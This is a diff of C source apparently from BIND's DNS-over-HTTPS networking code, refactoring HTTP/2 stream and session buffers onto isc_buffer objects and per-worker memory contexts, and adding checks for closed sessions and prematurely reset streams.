@@ -416,6 +437,10 @@ new_http_cstream(isc_nmsocket_t *sock, http_cstream_t **streamp) {
 			stream->up.field_data[ISC_UF_QUERY].len);
 	}
 
+	isc_buffer_allocate(mctx, &stream->rbuf,
+			    INITIAL_DNS_MESSAGE_BUFFER_SIZE);
+
+	ISC_LIST_PREPEND(sock->h2.session->cstreams, stream, link);
 	*streamp = stream;
 
 	return (ISC_R_SUCCESS);
@@ -432,10 +457,22 @@ put_http_cstream(isc_mem_t *mctx, http_cstream_t *stream) {
 		stream->GET_path = NULL;
 		stream->GET_path_len = 0;
 	}
-	if (stream->postdata.base != NULL) {
-		isc_mem_put(mctx, stream->postdata.base,
-			    stream->postdata.length);
+
+	if (stream->postdata != NULL) {
+		INSIST(stream->post);
+		isc_buffer_free(&stream->postdata);
+	}
+
+	if (stream == stream->httpsock->h2.connect.cstream) {
+		stream->httpsock->h2.connect.cstream = NULL;
+	}
+	if (ISC_LINK_LINKED(stream, link)) {
+		ISC_LIST_UNLINK(stream->httpsock->h2.session->cstreams, stream,
+				link);
 	}
+	isc__nmsocket_detach(&stream->httpsock);
+
+	isc_buffer_free(&stream->rbuf);
 	isc_mem_put(mctx, stream, sizeof(http_cstream_t));
 }
 
@@ -448,7 +485,8 @@ finish_http_session(isc_nm_http_session_t *session) {
 	if (session->handle != NULL) {
 		if (!session->closed) {
 			session->closed = true;
-			isc_nm_cancelread(session->handle);
+			session->reading = false;
+			isc_nmhandle_close(session->handle);
 		}
 
 		if (session->client) {
@@ -487,12 +525,13 @@ on_client_data_chunk_recv_callback(int32_t stream_id, const uint8_t *data,
 	http_cstream_t *cstream = find_http_cstream(stream_id, session);
 
 	if (cstream != NULL) {
-		size_t new_rbufsize = cstream->rbufsize + len;
+		size_t new_rbufsize = len;
+		INSIST(cstream->rbuf != NULL);
+		new_rbufsize += isc_buffer_usedlength(cstream->rbuf);
 		if (new_rbufsize <= MAX_DNS_MESSAGE_SIZE &&
 		    new_rbufsize <= cstream->response_status.content_length)
 		{
-			memmove(cstream->rbuf + cstream->rbufsize, data, len);
-			cstream->rbufsize = new_rbufsize;
+			isc_buffer_putmem(cstream->rbuf, data, len);
 		} else {
 			return (NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE);
 		}
@@ -507,13 +546,23 @@ static int
 on_server_data_chunk_recv_callback(int32_t stream_id, const uint8_t *data,
 				   size_t len, isc_nm_http_session_t *session) {
 	isc_nmsocket_h2_t *h2 = ISC_LIST_HEAD(session->sstreams);
+	isc_mem_t *mctx = h2->psock->worker->mctx;
+
 	while (h2 != NULL) {
 		if (stream_id == h2->stream_id) {
-			size_t new_bufsize = h2->bufsize + len;
+			if (isc_buffer_base(&h2->rbuf) == NULL) {
+				isc_buffer_init(
+					&h2->rbuf,
+					isc_mem_allocate(mctx,
+							 h2->content_length),
+					MAX_DNS_MESSAGE_SIZE);
+			}
+			size_t new_bufsize = isc_buffer_usedlength(&h2->rbuf) +
+					     len;
 			if (new_bufsize <= MAX_DNS_MESSAGE_SIZE &&
-			    new_bufsize <= h2->content_length) {
-				memmove(h2->buf + h2->bufsize, data, len);
-				h2->bufsize = new_bufsize;
+			    new_bufsize <= h2->content_length)
+			{
+				isc_buffer_putmem(&h2->rbuf, data, len);
 				break;
 			}
 
@@ -553,11 +602,13 @@ static void
 call_unlink_cstream_readcb(http_cstream_t *cstream,
 			   isc_nm_http_session_t *session,
 			   isc_result_t result) {
+	isc_region_t read_data;
 	REQUIRE(VALID_HTTP2_SESSION(session));
 	REQUIRE(cstream != NULL);
 	ISC_LIST_UNLINK(session->cstreams, cstream, link);
-	cstream->read_cb(session->handle, result,
-			 &(isc_region_t){ cstream->rbuf, cstream->rbufsize },
+	INSIST(VALID_NMHANDLE(session->client_httphandle));
+	isc_buffer_usedregion(cstream->rbuf, &read_data);
+	cstream->read_cb(session->client_httphandle, result, &read_data,
 			 cstream->read_cbarg);
 	put_http_cstream(session->mctx, cstream);
 }
@@ -580,6 +631,9 @@ on_client_stream_close_callback(int32_t stream_id,
 			if (rv != 0) {
 				return (rv);
 			}
+			/* Mark the session as closing one to finish it on a
+			 * subsequent call to http_do_bio() */
+			session->closing = true;
 		}
 	} else {
 		return (NGHTTP2_ERR_CALLBACK_FAILURE);
@@ -597,6 +651,22 @@ on_server_stream_close_callback(int32_t stream_id,
 
 	ISC_LIST_UNLINK(session->sstreams, &sock->h2, link);
 	session->nsstreams--;
+
+	/*
+	 * By making a call to isc__nmsocket_prep_destroy(), we ensure that
+	 * the socket gets marked as inactive, allowing the HTTP/2 data
+	 * associated with it to be properly disposed of eventually.
+	 *
+	 * An HTTP/2 stream socket will normally be marked as inactive in
+	 * the normal course of operation. However, when browsers terminate
+	 * HTTP/2 streams prematurely (e.g. by sending RST_STREAM),
+	 * corresponding sockets can remain marked as active, retaining
+	 * references to the HTTP/2 data (most notably the session objects),
+	 * preventing them from being correctly freed and leading to BIND
+	 * hanging on shutdown.  Calling isc__nmsocket_prep_destroy()
+	 * ensures that this will not happen.
+	 */
+	isc__nmsocket_prep_destroy(sock);
 	isc__nmsocket_detach(&sock);
 	return (rv);
 }
@@ -686,12 +756,22 @@ client_on_header_callback(nghttp2_session *ngsession,
 
 	REQUIRE(VALID_HTTP2_SESSION(session));
 	REQUIRE(session->client);
-	REQUIRE(!ISC_LIST_EMPTY(session->cstreams));
 
 	UNUSED(flags);
 	UNUSED(ngsession);
 
 	cstream = find_http_cstream(frame->hd.stream_id, session);
+	if (cstream == NULL) {
+		/*
+		 * This could happen in two cases:
+		 * - the server sent us bad data, or
+		 * - we closed the session prematurely before receiving all
+		 *   responses (i.e., because of a belated or partial response).
+		 */
+		return (NGHTTP2_ERR_CALLBACK_FAILURE);
+	}
+
+	INSIST(!ISC_LIST_EMPTY(session->cstreams));
 
 	switch (frame->hd.type) {
 	case NGHTTP2_HEADERS:
@@ -798,17 +878,19 @@ client_read_callback(nghttp2_session *ngsession, int32_t stream_id,
 	}
 
 	if (cstream->post) {
-		size_t len = cstream->postdata.length - cstream->postdata_pos;
+		size_t len = isc_buffer_remaininglength(cstream->postdata);
 
 		if (len > length) {
 			len = length;
 		}
 
-		memmove(buf, cstream->postdata.base + cstream->postdata_pos,
-			len);
-		cstream->postdata_pos += len;
+		if (len > 0) {
+			memmove(buf, isc_buffer_current(cstream->postdata),
+				len);
+			isc_buffer_forward(cstream->postdata, len);
+		}
 
-		if (cstream->postdata_pos == cstream->postdata.length) {
+		if (isc_buffer_remaininglength(cstream->postdata) == 0) {
 			*data_flags |= NGHTTP2_DATA_FLAG_EOF;
 		}
 
@@ -833,7 +915,8 @@ client_submit_request(isc_nm_http_session_t *session, http_cstream_t *stream) {
 
 	if (stream->post) {
 		char p[64];
-		snprintf(p, sizeof(p), "%u", stream->postdata.length);
+		snprintf(p, sizeof(p), "%u",
+			 isc_buffer_usedlength(stream->postdata));
 		nghttp2_nv hdrs[] = {
 			MAKE_NV2(":method", "POST"),
 			MAKE_NV(":scheme",
@@ -888,15 +971,13 @@ client_submit_request(isc_nm_http_session_t *session, http_cstream_t *stream) {
  * Read callback from TLS socket.
  */
 static void
-http_readcb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
-	    void *data) {
+http_readcb(isc_nmhandle_t *handle ISC_ATTR_UNUSED, isc_result_t result,
+	    isc_region_t *region, void *data) {
 	isc_nm_http_session_t *session = (isc_nm_http_session_t *)data;
 	ssize_t readlen;
 
 	REQUIRE(VALID_HTTP2_SESSION(session));
 
-	UNUSED(handle);
-
 	if (result != ISC_R_SUCCESS) {
 		if (result != ISC_R_TIMEDOUT) {
 			session->reading = false;
@@ -913,11 +994,14 @@ http_readcb(isc_nmhandle_t *handle, isc_result_t result, isc_region_t *region,
 	}
 
 	if ((size_t)readlen < region->length) {
-		INSIST(session->bufsize == 0);
-		INSIST(region->length - readlen < MAX_DNS_MESSAGE_SIZE);
-		memmove(session->buf, region->base, region->length - readlen);
-		session->bufsize = region->length - readlen;
-		isc_nm_pauseread(session->handle);
+		size_t unread_size = region->length - readlen;
+		if (session->buf == NULL) {
+			isc_buffer_allocate(session->mctx, &session->buf,
+					    unread_size);
+		}
+		isc_buffer_putmem(session->buf, region->base + readlen,
+				  unread_size);
+		isc_nm_read_stop(session->handle);
 	}
 
 	/* We might have something to receive or send, do IO */
@@ -931,7 +1015,7 @@ call_pending_callbacks(isc__nm_http_pending_callbacks_t pending_callbacks,
 	while (cbreq != NULL) {
 		isc__nm_uvreq_t *next = ISC_LIST_NEXT(cbreq, link);
 		ISC_LIST_UNLINK(pending_callbacks, cbreq, link);
-		isc__nm_sendcb(cbreq->handle->sock, cbreq, result, false);
+		isc__nm_sendcb(cbreq->handle->sock, cbreq, result, true);
 		cbreq = next;
 	}
 }
@@ -956,7 +1040,7 @@ http_writecb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
 		isc_nmhandle_detach(&req->httphandle);
 	}
 
-	isc_mem_put(session->mctx, req->data.base, req->data.length);
+	isc_buffer_free(&req->pending_write_data);
 	isc_mem_put(session->mctx, req, sizeof(*req));
 
 	session->sending--;
@@ -986,8 +1070,8 @@ http_send_outgoing(isc_nm_http_session_t *session, isc_nmhandle_t *httphandle,
 		   isc_nm_cb_t cb, void *cbarg) {
 	isc_http_send_req_t *send = NULL;
 	size_t total = 0;
-	uint8_t tmp_data[8192] = { 0 };
-	uint8_t *prepared_data = &tmp_data[0];
+	isc_region_t send_data = { 0 };
+	isc_nmhandle_t *transphandle = NULL;
 #ifdef ENABLE_HTTP_WRITE_BUFFERING
 	size_t max_total_write_size = 0;
 #endif /* ENABLE_HTTP_WRITE_BUFFERING */
@@ -999,171 +1083,152 @@ http_send_outgoing(isc_nm_http_session_t *session, isc_nmhandle_t *httphandle,
 		return (false);
 	}
 
+	/*
+	 * We need to attach to the session->handle earlier because as an
+	 * indirect result of the nghttp2_session_mem_send() the session
+	 * might get closed and the handle detached. However, there is
+	 * still some outgoing data to handle and we need to call it
+	 * anyway if only to get the write callback passed here to get
+	 * called properly.
+	 */
+	isc_nmhandle_attach(session->handle, &transphandle);
+
 	while (nghttp2_session_want_write(session->ngsession)) {
 		const uint8_t *data = NULL;
 		const size_t pending =
 			nghttp2_session_mem_send(session->ngsession, &data);
 		const size_t new_total = total + pending;
 
+		/*
+		 * Sometimes nghttp2_session_mem_send() does not return any
+		 * data to send even though nghttp2_session_want_write()
+		 * returns success.
+		 */
+		if (pending == 0 || data == NULL) {
+			break;
+		}
+
 		/* reallocate buffer if required */
-		if (new_total > sizeof(tmp_data)) {
-			uint8_t *old_prepared_data = prepared_data;
-			const bool allocated = prepared_data != tmp_data;
-
-			prepared_data = isc_mem_get(session->mctx, new_total);
-			memmove(prepared_data, old_prepared_data, total);
-			if (allocated) {
-				isc_mem_put(session->mctx, old_prepared_data,
-					    total);
-			}
+		if (session->pending_write_data == NULL) {
+			isc_buffer_allocate(session->mctx,
+					    &session->pending_write_data,
+					    INITIAL_DNS_MESSAGE_BUFFER_SIZE);
 		}
-		memmove(&prepared_data[total], data, pending);
+		isc_buffer_putmem(session->pending_write_data, data, pending);
 		total = new_total;
 	}
 
 #ifdef ENABLE_HTTP_WRITE_BUFFERING
-	max_total_write_size = total;
 	if (session->pending_write_data != NULL) {
-		max_total_write_size +=
+		max_total_write_size =
 			isc_buffer_usedlength(session->pending_write_data);
 	}
 
-	/* Here we are trying to flush the pending writes buffer earlier
+	/*
+	 * Here we are trying to flush the pending writes buffer earlier
 	 * to avoid hitting unnecessary limitations on a TLS record size
-	 * within some tools (e.g. flamethrower). */
+	 * within some tools (e.g. flamethrower).
+	 */
 	if (max_total_write_size >= FLUSH_HTTP_WRITE_BUFFER_AFTER) {
-		/* Case 1: We have equal or more than
-		 * FLUSH_HTTP_WRITE_BUFFER_AFTER bytes to send. Let's put the
-		 * data which we have just obtained from nghttp2 into the
-		 * pending write buffer and flush it. */
-
-		/* Let's allocate a new write buffer if there is none. */
-		if (session->pending_write_data == NULL) {
-			isc_buffer_allocate(session->mctx,
-					    &session->pending_write_data,
-					    max_total_write_size);
-		}
-
-		isc_buffer_putmem(session->pending_write_data, prepared_data,
-				  total);
-		if (prepared_data != &tmp_data[0]) {
-			isc_mem_put(session->mctx, prepared_data, total);
-		}
-
+		/*
+		 * Case 1: We have at least FLUSH_HTTP_WRITE_BUFFER_AFTER
+		 * bytes to send. Let's flush it.
+		 */
 		total = max_total_write_size;
-		prepared_data = isc_buffer_base(session->pending_write_data);
 	} else if (session->sending > 0 && total > 0) {
-		/* Case 2: There is one or more write requests in flight and
+		/*
+		 * Case 2: There is one or more write requests in flight and
 		 * we have some new data form nghttp2 to send. Let's put the
 		 * write callback (if any) into the pending write callbacks
-		 * list and add the new data into the pending write
-		 * buffer. Then let's return from the function: as soon as the
+		 * list. Then let's return from the function: as soon as the
 		 * "in-flight" write callback get's called or we have reached
 		 * FLUSH_HTTP_WRITE_BUFFER_AFTER bytes in the write buffer, we
-		 * will flush the buffer. */
+		 * will flush the buffer.
+		 */
 		if (cb != NULL) {
-			isc__nm_uvreq_t *newcb = isc__nm_uvreq_get(
-				httphandle->sock->mgr, httphandle->sock);
+			isc__nm_uvreq_t *newcb = NULL;
 
 			INSIST(VALID_NMHANDLE(httphandle));
+
+			newcb = isc__nm_uvreq_get(httphandle->sock);
 			newcb->cb.send = cb;
 			newcb->cbarg = cbarg;
 			isc_nmhandle_attach(httphandle, &newcb->handle);
 			ISC_LIST_APPEND(session->pending_write_callbacks, newcb,
 					link);
 		}
-
-		if (session->pending_write_data == NULL) {
-			isc_buffer_allocate(session->mctx,
-					    &session->pending_write_data,
-					    total);
-			isc_buffer_setautorealloc(session->pending_write_data,
-						  true);
-		}
-
-		isc_buffer_putmem(session->pending_write_data, prepared_data,
-				  total);
-		if (prepared_data != &tmp_data[0]) {
-			isc_mem_put(session->mctx, prepared_data, total);
-		}
-		return (false);
+		goto nothing_to_send;
 	} else if (session->sending == 0 && total == 0 &&
 		   session->pending_write_data != NULL)
 	{
-		/* Case 3: There is no write in flight and we haven't got
+		/*
+		 * Case 3: There is no write in flight and we haven't got
 		 * anything new from nghttp2, but there is some data pending
-		 * in the write buffer. Let's flush the buffer. */
+		 * in the write buffer. Let's flush the buffer.
+		 */
 		isc_region_t region = { 0 };
 		total = isc_buffer_usedlength(session->pending_write_data);
 		INSIST(total > 0);
-		INSIST(prepared_data == &tmp_data[0]);
 		isc_buffer_usedregion(session->pending_write_data, &region);
 		INSIST(total == region.length);
-		prepared_data = region.base;
 	} else {
-		/* The other cases are, uninteresting, fall-through ones. */
-		/* In the following cases (4-6) we will just bail out. */
-		/* Case 4: There is nothing new to send, nor anything in the
-		 * write buffer. */
-		/* Case 5: There is nothing new to send and there is write
-		 * request(s) in flight. */
-		/* Case 6: There is nothing new to send nor there are any
-		 * write requests in flight. */
-
-		/* Case 7: There is some new data to send and there are no any
-		 * write requests in flight: Let's send the data.*/
+		/*
+		 * The other cases are uninteresting, fall-through ones.
+		 * In the following cases (4-6) we will just bail out:
+		 *
+		 * Case 4: There is nothing new to send, nor anything in the
+		 * write buffer.
+		 * Case 5: There is nothing new to send and there are write
+		 * request(s) in flight.
+		 * Case 6: There is nothing new to send nor are there any
+		 * write requests in flight.
+		 *
+		 * Case 7: There is some new data to send and there are no
+		 * write requests in flight: Let's send the data.
+		 */
 		INSIST((total == 0 && session->pending_write_data == NULL) ||
 		       (total == 0 && session->sending > 0) ||
 		       (total == 0 && session->sending == 0) ||
 		       (total > 0 && session->sending == 0));
 	}
 #else
-	INSIST(session->pending_write_data == NULL);
 	INSIST(ISC_LIST_EMPTY(session->pending_write_callbacks));
 #endif /* ENABLE_HTTP_WRITE_BUFFERING */
 
 	if (total == 0) {
-		INSIST(prepared_data == &tmp_data[0]);
 		/* No data returned */
-		return (false);
+		goto nothing_to_send;
 	}
 
+	/*
+	 * If we have reached this point it means that we need to send some
+	 * data and flush the outgoing buffer. The code below does that.
+	 */
 	send = isc_mem_get(session->mctx, sizeof(*send));
-	if (prepared_data == &tmp_data[0]) {
-		*send = (isc_http_send_req_t){
-			.data.base = isc_mem_get(session->mctx, total),
-			.data.length = total,
-		};
-		memmove(send->data.base, tmp_data, total);
-	} else if (session->pending_write_data != NULL) {
-		*send = (isc_http_send_req_t){
-			.data.base = isc_mem_get(session->mctx, total),
-			.data.length = total,
-		};
-		memmove(send->data.base,
-			isc_buffer_base(session->pending_write_data), total);
-		isc_buffer_free(&session->pending_write_data);
-	} else {
-		*send = (isc_http_send_req_t){
-			.data.base = prepared_data,
-			.data.length = total,
-		};
-	}
-	isc_nmhandle_attach(session->handle, &send->transphandle);
+
+	*send = (isc_http_send_req_t){ .pending_write_data =
+					       session->pending_write_data,
+				       .cb = cb,
+				       .cbarg = cbarg };
+	session->pending_write_data = NULL;
+	move_pending_send_callbacks(session, send);
+
+	send->transphandle = transphandle;
 	isc__nm_httpsession_attach(session, &send->session);
 
 	if (cb != NULL) {
 		INSIST(VALID_NMHANDLE(httphandle));
-		send->cb = cb;
-		send->cbarg = cbarg;
 		isc_nmhandle_attach(httphandle, &send->httphandle);
 	}
 
-	move_pending_send_callbacks(session, send);
-
 	session->sending++;
-	isc_nm_send(session->handle, &send->data, http_writecb, send);
+	isc_buffer_usedregion(send->pending_write_data, &send_data);
+	isc_nm_send(transphandle, &send_data, http_writecb, send);
 	return (true);
+
+nothing_to_send:
+	isc_nmhandle_detach(&transphandle);
+	return (false);
 }
 
 static void
@@ -1191,33 +1256,37 @@ http_do_bio(isc_nm_http_session_t *session, isc_nmhandle_t *send_httphandle,
 
 	if (nghttp2_session_want_read(session->ngsession) != 0) {
 		if (!session->reading) {
-			/* We have not yet started reading from this handle */
+			/* We have not yet started
+			 * reading from this handle */
 			isc_nm_read(session->handle, http_readcb, session);
 			session->reading = true;
-		} else if (session->bufsize > 0) {
-			/* Leftover data in the buffer, use it */
+		} else if (session->buf != NULL) {
+			size_t remaining =
+				isc_buffer_remaininglength(session->buf);
+			/* Leftover data in the
+			 * buffer, use it */
 			size_t readlen = nghttp2_session_mem_recv(
-				session->ngsession, session->buf,
-				session->bufsize);
+				session->ngsession,
+				isc_buffer_current(session->buf), remaining);
 
-			if (readlen == session->bufsize) {
-				session->bufsize = 0;
+			if (readlen == remaining) {
+				isc_buffer_free(&session->buf);
 			} else {
-				memmove(session->buf, session->buf + readlen,
-					session->bufsize - readlen);
-				session->bufsize -= readlen;
+				isc_buffer_forward(session->buf, readlen);
 			}
 
 			http_do_bio(session, send_httphandle, send_cb,
 				    send_cbarg);
 			return;
 		} else {
-			/* Resume reading, it's idempotent, wait for more */
-			isc_nm_resumeread(session->handle);
+			/* Resume reading, it's
+			 * idempotent, wait for more
+			 */
+			isc_nm_read(session->handle, http_readcb, session);
 		}
 	} else {
 		/* We don't want more data, stop reading for now */
-		isc_nm_pauseread(session->handle);
+		isc_nm_read_stop(session->handle);
 	}
 
 	if (send_cb != NULL) {
@@ -1258,31 +1327,22 @@ get_http_cstream(isc_nmsocket_t *sock, http_cstream_t **streamp) {
 static void
 http_call_connect_cb(isc_nmsocket_t *sock, isc_nm_http_session_t *session,
 		     isc_result_t result) {
-	isc__nm_uvreq_t *req = NULL;
 	isc_nmhandle_t *httphandle = isc__nmhandle_get(sock, &sock->peer,
 						       &sock->iface);
+	void *cbarg;
+	isc_nm_cb_t connect_cb;
 
 	REQUIRE(sock->connect_cb != NULL);
 
+	cbarg = sock->connect_cbarg;
+	connect_cb = sock->connect_cb;
+	isc__nmsocket_clearcb(sock);
 	if (result == ISC_R_SUCCESS) {
-		req = isc__nm_uvreq_get(sock->mgr, sock);
-		req->cb.connect = sock->connect_cb;
-		req->cbarg = sock->connect_cbarg;
 		if (session != NULL) {
 			session->client_httphandle = httphandle;
-			req->handle = NULL;
-			isc_nmhandle_attach(httphandle, &req->handle);
-		} else {
-			req->handle = httphandle;
 		}
-
-		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, result, true);
+		connect_cb(httphandle, result, cbarg);
 	} else {
-		void *cbarg = sock->connect_cbarg;
-		isc_nm_cb_t connect_cb = sock->connect_cb;
-
-		isc__nmsocket_clearcb(sock);
 		connect_cb(httphandle, result, cbarg);
 		isc_nmhandle_detach(&httphandle);
 	}
@@ -1303,11 +1363,12 @@ transport_connect_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 
 	REQUIRE(VALID_NMSOCK(transp_sock));
 
-	mctx = transp_sock->mgr->mctx;
+	mctx = transp_sock->worker->mctx;
 
 	INSIST(http_sock->h2.connect.uri != NULL);
 
-	http_sock->tid = transp_sock->tid;
+	http_sock->h2.connect.tls_peer_verify_string =
+		isc_nm_verify_tls_peer_result_string(handle);
 	if (result != ISC_R_SUCCESS) {
 		goto error;
 	}
@@ -1316,6 +1377,9 @@ transport_connect_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	session->client = true;
 	transp_sock->h2.session = session;
 	http_sock->h2.connect.tlsctx = NULL;
+	/* otherwise we will get some garbage output in DIG */
+	http_sock->iface = handle->sock->iface;
+	http_sock->peer = handle->sock->peer;
 
 	transp_sock->h2.connect.post = http_sock->h2.connect.post;
 	transp_sock->h2.connect.uri = http_sock->h2.connect.uri;
@@ -1328,18 +1392,17 @@ transport_connect_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 
 		INSIST(transp_sock->type == isc_nm_tlssocket);
 
-		isc_tls_get_http2_alpn(transp_sock->tlsstream.tls, &alpn,
-				       &alpnlen);
+		isc__nmhandle_get_selected_alpn(handle, &alpn, &alpnlen);
 		if (alpn == NULL || alpnlen != NGHTTP2_PROTO_VERSION_ID_LEN ||
 		    memcmp(NGHTTP2_PROTO_VERSION_ID, alpn,
 			   NGHTTP2_PROTO_VERSION_ID_LEN) != 0)
 		{
 			/*
-			 * HTTP/2 negotiation error. Any sensible DoH
-			 * client will fail if HTTP/2 cannot be
-			 * negotiated via ALPN.
+			 * HTTP/2 negotiation error.
+			 * Any sensible DoH client
+			 * will fail if HTTP/2 cannot
+			 * be negotiated via ALPN.
 			 */
-			isc__nmsocket_prep_destroy(transp_sock);
 			result = ISC_R_HTTP2ALPNERROR;
 			goto error;
 		}
@@ -1370,7 +1433,8 @@ transport_connect_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 	http_call_connect_cb(http_sock, session, result);
 
 	if (http_sock->h2.connect.uri != NULL) {
-		isc_mem_free(mctx, http_sock->h2.connect.uri);
+		isc_mem_free(http_sock->worker->mctx,
+			     http_sock->h2.connect.uri);
 	}
 
 	isc__nmsocket_prep_destroy(http_sock);
@@ -1380,10 +1444,12 @@ transport_connect_cb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 void
 isc_nm_httpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
 		   const char *uri, bool post, isc_nm_cb_t cb, void *cbarg,
-		   isc_tlsctx_t *tlsctx, unsigned int timeout,
-		   size_t extrahandlesize) {
+		   isc_tlsctx_t *tlsctx,
+		   isc_tlsctx_client_session_cache_t *client_sess_cache,
+		   unsigned int timeout) {
 	isc_sockaddr_t local_interface;
 	isc_nmsocket_t *sock = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
 
 	REQUIRE(VALID_NM(mgr));
 	REQUIRE(cb != NULL);
@@ -1391,23 +1457,26 @@ isc_nm_httpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
 	REQUIRE(uri != NULL);
 	REQUIRE(*uri != '\0');
 
+	if (isc__nm_closing(worker)) {
+		cb(NULL, ISC_R_SHUTTINGDOWN, cbarg);
+		return;
+	}
+
 	if (local == NULL) {
 		isc_sockaddr_anyofpf(&local_interface, peer->type.sa.sa_family);
 		local = &local_interface;
 	}
 
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_httpsocket, local);
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_httpsocket, local, NULL);
 
-	sock->extrahandlesize = extrahandlesize;
 	sock->connect_timeout = timeout;
-	sock->result = ISC_R_UNSET;
 	sock->connect_cb = cb;
 	sock->connect_cbarg = cbarg;
-	atomic_init(&sock->client, true);
+	sock->client = true;
 
-	if (isc__nm_closing(sock)) {
-		isc__nm_uvreq_t *req = isc__nm_uvreq_get(mgr, sock);
+	if (isc__nm_closing(worker)) {
+		isc__nm_uvreq_t *req = isc__nm_uvreq_get(sock);
 
 		req->cb.connect = cb;
 		req->cbarg = cbarg;
@@ -1415,19 +1484,15 @@ isc_nm_httpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
 		req->local = *local;
 		req->handle = isc__nmhandle_get(sock, &req->peer, &sock->iface);
 
-		if (isc__nm_in_netthread()) {
-			sock->tid = isc_nm_tid();
-		}
-
 		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, ISC_R_CANCELED, true);
+		isc__nm_connectcb(sock, req, ISC_R_SHUTTINGDOWN, true);
 		isc__nmsocket_prep_destroy(sock);
 		isc__nmsocket_detach(&sock);
 		return;
 	}
 
-	sock->h2 = (isc_nmsocket_h2_t){ .connect.uri = isc_mem_strdup(mgr->mctx,
-								      uri),
+	sock->h2 = (isc_nmsocket_h2_t){ .connect.uri = isc_mem_strdup(
+						sock->worker->mctx, uri),
 					.connect.post = post,
 					.connect.tlsctx = tlsctx };
 	ISC_LINK_INIT(&sock->h2, link);
@@ -1443,10 +1508,10 @@ isc_nm_httpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
 
 	if (tlsctx != NULL) {
 		isc_nm_tlsconnect(mgr, local, peer, transport_connect_cb, sock,
-				  tlsctx, timeout, 0);
+				  tlsctx, client_sess_cache, timeout);
 	} else {
 		isc_nm_tcpconnect(mgr, local, peer, transport_connect_cb, sock,
-				  timeout, 0);
+				  timeout);
 	}
 }
 
@@ -1454,7 +1519,7 @@ static isc_result_t
 client_send(isc_nmhandle_t *handle, const isc_region_t *region) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_nmsocket_t *sock = handle->sock;
-	isc_mem_t *mctx = sock->mgr->mctx;
+	isc_mem_t *mctx = sock->worker->mctx;
 	isc_nm_http_session_t *session = sock->h2.session;
 	http_cstream_t *cstream = sock->h2.connect.cstream;
 
@@ -1463,16 +1528,18 @@ client_send(isc_nmhandle_t *handle, const isc_region_t *region) {
 	REQUIRE(region != NULL);
 	REQUIRE(region->base != NULL);
 	REQUIRE(region->length <= MAX_DNS_MESSAGE_SIZE);
-	REQUIRE(cstream != NULL);
+
+	if (session->closed) {
+		return (ISC_R_CANCELED);
+	}
+
+	INSIST(cstream != NULL);
 
 	if (cstream->post) {
 		/* POST */
-		cstream->postdata = (isc_region_t){
-			.base = isc_mem_get(mctx, region->length),
-			.length = region->length
-		};
-		memmove(cstream->postdata.base, region->base, region->length);
-		cstream->postdata_pos = 0;
+		isc_buffer_allocate(mctx, &cstream->postdata, region->length);
+		isc_buffer_putmem(cstream->postdata, region->base,
+				  region->length);
 	} else {
 		/* GET */
 		size_t path_size = 0;
@@ -1491,7 +1558,7 @@ client_send(isc_nmhandle_t *handle, const isc_region_t *region) {
 			goto error;
 		}
 
-		isc__buffer_usedregion(buf, &base64_region);
+		isc_buffer_usedregion(buf, &base64_region);
 		INSIST(base64_region.length == base64_len);
 
 		base64url_data = isc__nm_base64_to_base64url(
@@ -1514,14 +1581,11 @@ client_send(isc_nmhandle_t *handle, const isc_region_t *region) {
 	}
 
 	cstream->sending = true;
-	if (!ISC_LINK_LINKED(cstream, link)) {
-		ISC_LIST_PREPEND(session->cstreams, cstream, link);
-	}
 
 	sock->h2.connect.cstream = NULL;
 	result = client_submit_request(session, cstream);
 	if (result != ISC_R_SUCCESS) {
-		ISC_LIST_UNLINK(session->cstreams, cstream, link);
+		put_http_cstream(session->mctx, cstream);
 		goto error;
 	}
 
@@ -1538,7 +1602,8 @@ isc__nm_http_request(isc_nmhandle_t *handle, isc_region_t *region,
 
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
-	REQUIRE(handle->sock->tid == isc_nm_tid());
+	REQUIRE(handle->sock->tid == isc_tid());
+	REQUIRE(handle->sock->client);
 
 	REQUIRE(cb != NULL);
 
@@ -1554,7 +1619,6 @@ isc__nm_http_request(isc_nmhandle_t *handle, isc_region_t *region,
 		goto error;
 	}
 
-	http_do_bio(sock->h2.session, NULL, NULL, NULL);
 	return (ISC_R_SUCCESS);
 
 error:
@@ -1570,6 +1634,7 @@ server_on_begin_headers_callback(nghttp2_session *ngsession,
 				 const nghttp2_frame *frame, void *user_data) {
 	isc_nm_http_session_t *session = (isc_nm_http_session_t *)user_data;
 	isc_nmsocket_t *socket = NULL;
+	isc__networker_t *worker = NULL;
 
 	if (frame->hd.type != NGHTTP2_HEADERS ||
 	    frame->headers.cat != NGHTTP2_HCAT_REQUEST)
@@ -1579,23 +1644,29 @@ server_on_begin_headers_callback(nghttp2_session *ngsession,
 		return (NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE);
 	}
 
-	if (session->nsstreams >= MAX_STREAMS_PER_SESSION) {
+	if (session->nsstreams >= session->max_concurrent_streams) {
 		return (NGHTTP2_ERR_CALLBACK_FAILURE);
 	}
 
-	socket = isc_mem_get(session->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(socket, session->serversocket->mgr,
-			   isc_nm_httpsocket,
-			   (isc_sockaddr_t *)&session->server_iface);
+	INSIST(session->handle->sock->tid == isc_tid());
+
+	worker = session->handle->sock->worker;
